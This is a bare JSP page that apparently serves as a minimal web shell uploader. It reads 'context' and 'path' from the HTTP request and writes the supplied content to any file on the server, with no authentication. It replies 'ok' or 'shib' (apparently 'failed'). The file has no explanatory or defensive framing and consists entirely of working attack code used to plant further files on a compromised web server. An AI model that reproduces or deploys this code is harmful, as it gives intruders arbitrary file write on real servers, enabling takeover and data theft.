<%@page contentType="text/html;charset=gb2312"%> <%@page import="java.io.*,java.util.*,java.net.*"%> <% if(request.getParameter("context")!=null) { String context=new String(request.getParameter("context").getBytes("ISO-8859-1"),"gb2312"); String path=new String(request.getParameter("path").getBytes("ISO-8859-1"),"gb2312"); OutputStream pt = null; try { pt = new FileOutputStream(path); pt.write(context.getBytes()); out.println("ok"); } catch (FileNotFoundException ex2) { out.println("shib"); } catch (IOException ex) { out.println("ok"); } finally { try { pt.close(); } catch (IOException ex3) { out.println("shib"); } } } %>


">